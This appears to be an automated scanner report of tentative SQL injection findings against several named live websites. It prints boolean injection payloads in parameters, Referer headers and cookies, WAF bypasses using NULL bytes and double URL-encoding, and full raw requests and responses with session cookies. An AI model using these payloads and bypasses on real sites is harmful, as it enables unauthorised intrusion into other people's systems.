<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /templates/kontent11/css/typography.css51594661' or 1=2-- was not found on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
1.34. http://kontentdesign.com/templates/kontent11/css/typography.css [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://kontentdesign.com
Path:
/templates/kontent11/css/typography.css
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payloads 19760934%20or%201%3d1--%20 and 19760934%20or%201%3d2--%20 were each submitted in the name of an arbitrarily supplied request parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /templates/kontent11/css/typography.css?119760934%20or%201%3d1--%20=1 HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access /templates/kontent11/css/typography.css on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8m DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_fcgid/2.3.5 Server at kontentdesign.com Port 80</address> </body></html>
Request 2
GET /templates/kontent11/css/typography.css?119760934%20or%201%3d2--%20=1 HTTP/1.1 Host: kontentdesign.com Proxy-Connection: keep-alive Referer: http://kontentdesign.com/ Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 352408000473833862436b9fb7dcdeb1=7afb14bc02eda1d7b0301fa03d45c97d
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request 1
GET /news/story%00'?hl\\x3den\\x26amp;sugexp\\x3dldymls\\x26amp;xhr\\x3dt\\x26amp;q\\x3damazon\\x26amp;cp\\x3d1\\x26amp;um\\x3d1\\x26amp;ie\\x3dUTF-8\\x26amp;ncl\\x3ddEQewEuUXr-br5MJHZzY7RO2mw5NM\\x26amp;ei\\x3dh5I9TauLMMK88gazprSzCg\\x26amp;sa\\x3dX\\x26amp;oi\\x3dnews_result\\x26amp;ct\\x3dmore-results\\x26amp;resnum\\x3d13\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CIMBEKoCMAw\\x22 HTTP/1.1 Host: news.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Set-Cookie: NID=43=jZrs3cCWBn0xZT77GEp4ng6trYgsZovDypVU0IsvIShEZS8ZkZZAFVYAMVBEGWkAShB4zy9TehSUB3gOSm8n-qMJEzIfGt4l1DZK3SOX98F4_DqU16tL5mH6Vo98LqXN;Domain=.google.com;Path=/;Expires=Tue, 26-Jul-2011 23:19:03 GMT;HttpOnly Date: Mon, 24 Jan 2011 23:19:03 GMT Expires: Mon, 24 Jan 2011 23:19:03 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta http-equiv="X-UA-Compatible" content="IE=8"> <meta http-equiv="Content-Type" content="text/h ...[SNIP]... mp;hl=en&docUrl=http://www.latimes.com/news/opinion/commentary/la-oe-banner-bishop-20110124,0,56458.story&docId=5979450056146080422&cid=17593850378022&title=An+amendment+rooted+in+past+failures&viewed=1295900158"> ...[SNIP]...
Request 2
GET /news/story%00''?hl\\x3den\\x26amp;sugexp\\x3dldymls\\x26amp;xhr\\x3dt\\x26amp;q\\x3damazon\\x26amp;cp\\x3d1\\x26amp;um\\x3d1\\x26amp;ie\\x3dUTF-8\\x26amp;ncl\\x3ddEQewEuUXr-br5MJHZzY7RO2mw5NM\\x26amp;ei\\x3dh5I9TauLMMK88gazprSzCg\\x26amp;sa\\x3dX\\x26amp;oi\\x3dnews_result\\x26amp;ct\\x3dmore-results\\x26amp;resnum\\x3d13\\x26amp;sqi\\x3d2\\x26amp;ved\\x3d0CIMBEKoCMAw\\x22 HTTP/1.1 Host: news.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Set-Cookie: NID=43=iDLVLHDDdWCuDQlnKKnsMpP210VjSthtUjTfyN9DO1nU2O8zHol2Uj3PMcmzQrnxg-stxmc5YfU-G2Y3nHiBdl2pUs5ek63oKtdQ2Heg3Z5mlepoDk88ayrZVhvyU4lm;Domain=.google.com;Path=/;Expires=Tue, 26-Jul-2011 23:19:16 GMT;HttpOnly Date: Mon, 24 Jan 2011 23:19:16 GMT Expires: Mon, 24 Jan 2011 23:19:16 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta http-equiv="X-UA-Compatible" content="IE=8"> <meta http-equiv="Content-Type" content="text/h ...[SNIP]...
The Referer HTTP header appears to be vulnerable to SQL injection attacks. A single quote was submitted in the Referer HTTP header, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of the Referer HTTP header as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request 1
GET /nwshp HTTP/1.1 Host: news.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=%2527
Response 1 (redirected)
HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Set-Cookie: NID=43=VOA5j4gKvQ1lozvn1L9GnR0vTwwvCjN_rcMbzL76tquDdSGofd54E0zij2ac7mD7QdvS1Xn95ocEtNX8SzJku0k3KFn-kjEhjOpKjrbX1OLxbuMD-IWHDPRpym6LzkuI;Domain=.google.com;Path=/;Expires=Tue, 26-Jul-2011 23:10:43 GMT;HttpOnly Date: Mon, 24 Jan 2011 23:10:43 GMT Expires: Mon, 24 Jan 2011 23:10:43 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta http-equiv="X-UA-Compatible" content="IE=8"> <meta http-equiv="Content-Type" content="text/h ...[SNIP]... mp;hl=en&docUrl=http://www.latimes.com/news/opinion/commentary/la-oe-banner-bishop-20110124,0,56458.story&docId=5979450056146080422&cid=17593850378022&title=An+amendment+rooted+in+past+failures&viewed=1295900158"> ...[SNIP]...
Request 2
GET /nwshp HTTP/1.1 Host: news.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=%2527%2527
Response 2 (redirected)
HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Set-Cookie: NID=43=wRRSBXwEb9ylWiQN7U3r5UHEkh8KlGuQ82ntnGF9MReGDuFr5f26Cdd_BmfC6XuPVZrIgN7RhVk2Y3e70iNw2OToQ_pD9OK_LQz7YygkGLN5Xop1Eaz5IiYBk0GJrcrs;Domain=.google.com;Path=/;Expires=Tue, 26-Jul-2011 23:11:00 GMT;HttpOnly Date: Mon, 24 Jan 2011 23:11:00 GMT Expires: Mon, 24 Jan 2011 23:11:00 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta http-equiv="X-UA-Compatible" content="IE=8"> <meta http-equiv="Content-Type" content="text/h ...[SNIP]...
The Referer HTTP header appears to be vulnerable to SQL injection attacks. The payloads '%20and%201%3d1--%20 and '%20and%201%3d2--%20 were each submitted in the Referer HTTP header. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET / HTTP/1.1 Host: powersportsnetwork.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q='%20and%201%3d1--%20
Response 1
HTTP/1.1 200 OK Connection: close Date: Mon, 24 Jan 2011 22:50:00 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Pragma: no-cache Pragma: no-store Content-Length: 39258 Content-Type: text/html Expires: Thu, 29 Apr 1999 12:00:14 GMT Cache-control: Private
GET / HTTP/1.1 Host: powersportsnetwork.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q='%20and%201%3d2--%20
Response 2
HTTP/1.1 200 OK Connection: close Date: Mon, 24 Jan 2011 22:50:02 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Pragma: no-cache Pragma: no-store Content-Length: 39247 Content-Type: text/html Expires: Thu, 29 Apr 1999 12:00:14 GMT Cache-control: Private
The Referer HTTP header appears to be vulnerable to SQL injection attacks. A single quote was submitted in the Referer HTTP header, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request 1
GET /event_page/view/915725 HTTP/1.1 Host: spongecell.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=%00'
Response 1
HTTP/1.1 502 Bad Gateway Server: nginx/0.6.35 Date: Tue, 25 Jan 2011 13:19:05 GMT Content-Type: text/html Content-Length: 2968 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>Spongecell</title> <meta http-equiv="Pragma" co ...[SNIP]... <h2 class="primary">A server error has occurred.</h2> ...[SNIP]...
Request 2
GET /event_page/view/915725 HTTP/1.1 Host: spongecell.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=%00''
Response 2
HTTP/1.1 302 Moved Temporarily Server: nginx/0.6.35 Date: Tue, 25 Jan 2011 13:19:06 GMT Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: _spongecell_loves_u=BAh7CDoJa2V5c1sAOgtsb2NhbGUiCmVuLVVTIgpmbGFzaElDOidBY3Rpb25D%250Ab250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewY6CW5vdGUwBjoKQHVzZWR7%250ABjsIVA%253D%253D--5f6777943aa1e5d6b4a2cab61b42984a90431a22; domain=.spongecell.com; path=/ Status: 302 Found Location: http://spongecell.com/event/view/915725 Cache-Control: no-cache Content-Length: 105
<html><body>You are being <a href="http://spongecell.com/event/view/915725">redirected</a>.</body></html>
1.39. http://techcrunch.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://techcrunch.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payloads 80922731'%20or%201%3d1--%20 and 80922731'%20or%201%3d2--%20 were each submitted in the name of an arbitrarily supplied request parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /?180922731'%20or%201%3d1--%20=1 HTTP/1.1 Host: techcrunch.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Server: nginx Date: Tue, 25 Jan 2011 13:22:16 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header. X-Pingback: http://techcrunch.com/xmlrpc.php Link: <http://wp.me/NaxW>; rel=shortlink Content-Length: 124296
GET /?180922731'%20or%201%3d2--%20=1 HTTP/1.1 Host: techcrunch.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Server: nginx Date: Tue, 25 Jan 2011 13:22:18 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header. X-Pingback: http://techcrunch.com/xmlrpc.php Link: <http://wp.me/NaxW>; rel=shortlink Content-Length: 124727
The zoneid parameter appears to be vulnerable to SQL injection attacks. The payloads %20and%201%3d1--%20 and %20and%201%3d2--%20 were each submitted in the zoneid parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /x/www/delivery/ck.php?zoneid=378%20and%201%3d1--%20 HTTP/1.1 Host: trsrvr.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1 (redirected)
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 13:21:42 GMT Server: Apache/2.2.17 (EL) X-Powered-By: PHP/5.2.16 Pragma: no-cache Cache-Control: private, max-age=0, no-cache P3P: CP="CUR ADM OUR NOR STA NID" Set-Cookie: =%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C; path=/ Set-Cookie: OAID=ffd6d0a81bbf9cf0750489d1c895bb05; expires=Wed, 25-Jan-2012 13:21:42 GMT; path=/ Location: http://uberdownloads.net/apps/free-download/free-7-zip-download-v2.php?brand=uberdownloads.net&s=google&country=US&c=uber.net_7zip_alot_pg_wb&k={keywords}&pk=7032 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8
Request 2
GET /x/www/delivery/ck.php?zoneid=378%20and%201%3d2--%20 HTTP/1.1 Host: trsrvr.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2 (redirected)
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 13:21:45 GMT Server: Apache/2.2.17 (EL) X-Powered-By: PHP/5.2.16 Pragma: no-cache Cache-Control: private, max-age=0, no-cache P3P: CP="CUR ADM OUR NOR STA NID" Set-Cookie: =%7C%7C%7C%7C%7C%7C%7C%7C%7C%7C; path=/ Set-Cookie: OAID=b9fcfc411ae55970818c189d79ba68e6; expires=Wed, 25-Jan-2012 13:21:45 GMT; path=/ Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8
The __utmv cookie appears to be vulnerable to SQL injection attacks. The payloads 83547739'%20or%201%3d1--%20 and 83547739'%20or%201%3d2--%20 were each submitted in the __utmv cookie. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /story/1452917957/ HTTP/1.1 Host: tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmv=83547739'%20or%201%3d1--%20; __ctl=286f8b371579253c1; __utmz=229010307.1295907700.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __csnv=2d2e35941c7237e0; tm_identity=1e736a4ffb2b89d8eb9feef196afe056; __utma=229010307.737407932.1295907700.1295907700.1295907700.1; __utmc=229010307; __csref=; __cst=c361a3372a99df5c; __qca=P0-724637325-1295907700201; __utmb=229010307.2.10.1295907700; __csv=286f8b371579253c; __qseg=Q_D|Q_T|Q_2891|Q_2867|Q_2866|Q_2865|Q_2363|Q_2362|Q_2355|Q_2353|Q_2352|Q_2349|Q_2339|Q_1286|Q_1160|Q_1159|Q_1156|Q_1149|Q_1148|Q_983;
Response 1 (redirected)
HTTP/1.1 200 OK Server: nginx/0.7.67 Date: Tue, 25 Jan 2011 13:46:43 GMT Content-Type: text/html Connection: close X-Ads-Served-In: 0.00382399559021 X-Served-In: 0.027514934539795 X-Served-By: ded2059 Content-Length: 35059
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <!-- title --> <title> Wor ...[SNIP]... <iframe width="300" height="250" frameborder="0" scrolling="no" src="http://ads.tweetmeme.com/serve.js?tag=home&width=300&height=250&rand=74775951654"> </iframe> </div><!-- advert: home_300x100 --> <div class="item"> <a href="http://ads.tweetmeme.com/redirect?width=300&height=100&tag=home&advertid=384&nurl=http://dadapp.com" target="_blank"> <img src="http://tweetmeme.s3.amazonaws.com/ads/DAD-logo-animated.gif" alt="" class="left" style="margin: 3px 10px 0px 0px;" /> </a> <a href="http://ads.tweetmeme.com/redirect?width=300&height=100&tag=home&advertid=384&nurl=http://dadapp.com" target="_blank">DAD•app</a> <em>n.</em> Simple, rule-based desktop app for media organising & private sharing for your home & family network.</div> <img src="http://ads.tweetmeme.com/impression.jpg?id=384&rand=74312408758" alt="*" width="1" height="1" /><div class="new item">
<a href="http://tweetmeme.com/story/3835696312/dutch-teens-photos-boys-at-other-schools-boys-at-my-school-plixi" title="dutch teen's photos - boys at other schools, boys at my school. | Plixi">
dutch teen's photos - boys at other schools, boys at my… </a> - <span class="green">291 Tweets</span> </div> </li> <li > <div class="number">2</div> <div class="title">
<a href="http://tweetmeme.com/story/3835339927/faithful-facebook-pope-benedict-blesses-social-networking-time-newsfeed" title="Faithful Facebook: Pope Benedict Blesses Social Networking - TIME NewsFeed">
Faithful Facebook: Pope Benedict Blesses Social Networking… </a> - <span class="green">629 Tweets</span> </div> </li> <li > <div class="number">3</div> <div class="title">
...[SNIP]...
Request 2
GET /story/1452917957/ HTTP/1.1 Host: tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmv=83547739'%20or%201%3d2--%20; __ctl=286f8b371579253c1; __utmz=229010307.1295907700.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __csnv=2d2e35941c7237e0; tm_identity=1e736a4ffb2b89d8eb9feef196afe056; __utma=229010307.737407932.1295907700.1295907700.1295907700.1; __utmc=229010307; __csref=; __cst=c361a3372a99df5c; __qca=P0-724637325-1295907700201; __utmb=229010307.2.10.1295907700; __csv=286f8b371579253c; __qseg=Q_D|Q_T|Q_2891|Q_2867|Q_2866|Q_2865|Q_2363|Q_2362|Q_2355|Q_2353|Q_2352|Q_2349|Q_2339|Q_1286|Q_1160|Q_1159|Q_1156|Q_1149|Q_1148|Q_983;
Response 2 (redirected)
HTTP/1.1 200 OK Server: nginx/0.7.67 Date: Tue, 25 Jan 2011 13:46:45 GMT Content-Type: text/html Connection: close X-Ads-Served-In: 0.0041038990020752 X-Served-In: 0.025541067123413 X-Served-By: ded2059 Content-Length: 35049
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <!-- title --> <title> Wor ...[SNIP]... <iframe width="300" height="250" frameborder="0" scrolling="no" src="http://ads.tweetmeme.com/serve.js?tag=home&width=300&height=250&rand=77835161181"> </iframe> </div><!-- advert: home_300x100 --> <div class="item"> <a href="http://ads.tweetmeme.com/redirect?width=300&height=100&tag=home&advertid=384&nurl=http://dadapp.com" target="_blank"> <img src="http://tweetmeme.s3.amazonaws.com/ads/DAD-logo-animated.gif" alt="" class="left" style="margin: 3px 10px 0px 0px;" /> </a> <a href="http://ads.tweetmeme.com/redirect?width=300&height=100&tag=home&advertid=384&nurl=http://dadapp.com" target="_blank">DAD•app</a> <em>n.</em> Simple, rule-based desktop app for media organising & private sharing for your home & family network.</div> <img src="http://ads.tweetmeme.com/impression.jpg?id=384&rand=29484591686" alt="*" width="1" height="1" /><div class="new item">
<a href="http://tweetmeme.com/story/3835696312/dutch-teens-photos-boys-at-other-schools-boys-at-my-school-plixi" title="dutch teen's photos - boys at other schools, boys at my school. | Plixi">
dutch teen's photos - boys at other schools, boys at my… </a> - <span class="green">291 Tweets</span> </div> </li> <li > <div class="number">2</div> <div class="title">
<a href="http://tweetmeme.com/story/3835339927/faithful-facebook-pope-benedict-blesses-social-networking-time-newsfeed" title="Faithful Facebook: Pope Benedict Blesses Social Networking - TIME NewsFeed">
Faithful Facebook: Pope Benedict Blesses Social Networking… </a> - <span class="green">629 Tweets</span> </div> </li> <li > <div class="number">3</div> <div class="title">
The __csref cookie appears to be vulnerable to SQL injection attacks. The payloads 94666970'%20or%201%3d1--%20 and 94666970'%20or%201%3d2--%20 were each submitted in the __csref cookie. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /story/3636556715/ HTTP/1.1 Host: tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmv=; __ctl=286f8b371579253c1; __utmz=229010307.1295907700.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __csnv=2d2e35941c7237e0; tm_identity=1e736a4ffb2b89d8eb9feef196afe056; __utma=229010307.737407932.1295907700.1295907700.1295907700.1; __utmc=229010307; __csref=94666970'%20or%201%3d1--%20; __cst=c361a3372a99df5c; __qca=P0-724637325-1295907700201; __utmb=229010307.2.10.1295907700; __csv=286f8b371579253c; __qseg=Q_D|Q_T|Q_2891|Q_2867|Q_2866|Q_2865|Q_2363|Q_2362|Q_2355|Q_2353|Q_2352|Q_2349|Q_2339|Q_1286|Q_1160|Q_1159|Q_1156|Q_1149|Q_1148|Q_983;
Response 1 (redirected)
HTTP/1.1 200 OK Server: nginx/0.7.67 Date: Tue, 25 Jan 2011 13:48:40 GMT Content-Type: text/html Connection: close X-Ads-Served-In: 0.0072450637817383 X-Served-In: 0.028326988220215 X-Served-By: h02 Content-Length: 33715
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <!-- title --> <title> New ...[SNIP]... <iframe width="300" height="250" frameborder="0" scrolling="no" src="http://ads.tweetmeme.com/serve.js?tag=home&width=300&height=250&rand=7459401286"> </iframe> </div><!-- advert: home_300x100 --> <div class="item"> <a href="http://ads.tweetmeme.com/redirect?width=300&height=100&tag=home&advertid=384&nurl=http://dadapp.com" target="_blank"> <img src="http://tweetmeme.s3.amazonaws.com/ads/DAD-logo-animated.gif" alt="" class="left" style="margin: 3px 10px 0px 0px;" /> </a> <a href="http://ads.tweetmeme.com/redirect?width=300&height=100&tag=home&advertid=384&nurl=http://dadapp.com" target="_blank">DAD•app</a> <em>n.</em> Simple, rule-based desktop app for media organising & private sharing for your home & family network.</div> <img src="http://ads.tweetmeme.com/impression.jpg?id=384&rand=42830250518" alt="*" width="1" height="1" /><div class="new item">
<a href="http://tweetmeme.com/story/3835696312/dutch-teens-photos-boys-at-other-schools-boys-at-my-school-plixi" title="dutch teen's photos - boys at other schools, boys at my school. | Plixi">
dutch teen's photos - boys at other schools, boys at my… </a> - <span class="green">291 Tweets</span> </div> </li> <li > <div class="number">2</div> <div class="title">
<a href="http://tweetmeme.com/story/3835339927/faithful-facebook-pope-benedict-blesses-social-networking-time-newsfeed" title="Faithful Facebook: Pope Benedict Blesses Social Networking - TIME NewsFeed">
Faithful Facebook: Pope Benedict Blesses Social Networking… </a> - <span class="green">629 Tweets</span> </div> </li> <li > <div class="number">3</div> <div class="title">
...[SNIP]...
Request 2
GET /story/3636556715/ HTTP/1.1 Host: tweetmeme.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmv=; __ctl=286f8b371579253c1; __utmz=229010307.1295907700.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __csnv=2d2e35941c7237e0; tm_identity=1e736a4ffb2b89d8eb9feef196afe056; __utma=229010307.737407932.1295907700.1295907700.1295907700.1; __utmc=229010307; __csref=94666970'%20or%201%3d2--%20; __cst=c361a3372a99df5c; __qca=P0-724637325-1295907700201; __utmb=229010307.2.10.1295907700; __csv=286f8b371579253c; __qseg=Q_D|Q_T|Q_2891|Q_2867|Q_2866|Q_2865|Q_2363|Q_2362|Q_2355|Q_2353|Q_2352|Q_2349|Q_2339|Q_1286|Q_1160|Q_1159|Q_1156|Q_1149|Q_1148|Q_983;
Response 2 (redirected)
HTTP/1.1 200 OK Server: nginx/0.7.67 Date: Tue, 25 Jan 2011 13:48:43 GMT Content-Type: text/html Connection: close X-Ads-Served-In: 0.0034580230712891 X-Served-In: 0.030218124389648 X-Served-By: h02 Content-Length: 33725
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <!-- title --> <title> New ...[SNIP]... <iframe width="300" height="250" frameborder="0" scrolling="no" src="http://ads.tweetmeme.com/serve.js?tag=home&width=300&height=250&rand=30407187526"> </iframe> </div><!-- advert: home_300x100 --> <div class="item"> <a href="http://ads.tweetmeme.com/redirect?width=300&height=100&tag=home&advertid=384&nurl=http://dadapp.com" target="_blank"> <img src="http://tweetmeme.s3.amazonaws.com/ads/DAD-logo-animated.gif" alt="" class="left" style="margin: 3px 10px 0px 0px;" /> </a> <a href="http://ads.tweetmeme.com/redirect?width=300&height=100&tag=home&advertid=384&nurl=http://dadapp.com" target="_blank">DAD•app</a> <em>n.</em> Simple, rule-based desktop app for media organising & private sharing for your home & family network.</div> <img src="http://ads.tweetmeme.com/impression.jpg?id=384&rand=71437292459" alt="*" width="1" height="1" /><div class="new item">
<a href="http://tweetmeme.com/story/3835696312/dutch-teens-photos-boys-at-other-schools-boys-at-my-school-plixi" title="dutch teen's photos - boys at other schools, boys at my school. | Plixi">
dutch teen's photos - boys at other schools, boys at my… </a> - <span class="green">291 Tweets</span> </div> </li> <li > <div class="number">2</div> <div class="title">
